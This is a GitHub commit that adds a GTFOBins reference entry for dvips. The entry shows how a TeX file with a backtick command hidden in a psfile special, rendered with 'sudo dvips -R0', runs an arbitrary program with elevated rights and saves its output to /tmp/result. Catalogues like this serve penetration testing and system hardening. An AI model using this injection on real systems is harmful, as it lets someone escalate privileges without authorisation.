Create dvips.md

Add dvips.
This commit is contained in:
SynackCerv 2021-04-22 22:12:52 +02:00 committed by GitHub
parent dbb2e24ff0
commit 85010470b2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

8
_gtfobins/dvips.md Normal file
View File

@ -0,0 +1,8 @@
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document}" > file.tex
echo '$$\hbox to5cm{\vbox to5cm{\vfil\special{psfile="`PROGRAM > /tmp/result"}}\hfill}$$' >> file.tex
echo "\end{document}" >> file.tex
tex -interaction=nonstopmode file.tex && sudo dvips -R0 file.dvi
cat /tmp/result